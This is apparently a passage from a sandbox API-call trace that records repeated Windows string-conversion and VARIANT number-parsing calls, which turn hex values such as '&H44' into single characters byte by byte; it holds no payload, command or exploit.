MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.719] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.719] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.720] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.720] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.720] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.720] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.721] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.721] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.722] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.722] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.723] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.723] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0061.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D", lpUsedDefaultChar=0x0) returned 1 [0061.723] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.723] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x13") returned 1 [0061.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x13", lpUsedDefaultChar=0x0) returned 1 [0061.724] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.724] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.725] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.725] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.726] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.726] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.726] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.726] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.727] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.727] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.728] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.728] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.728] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.728] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.729] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.729] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.730] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.730] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.731] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.731] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.731] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.731] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.732] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.732] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.733] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.733] VarNumFromParseNum (in: 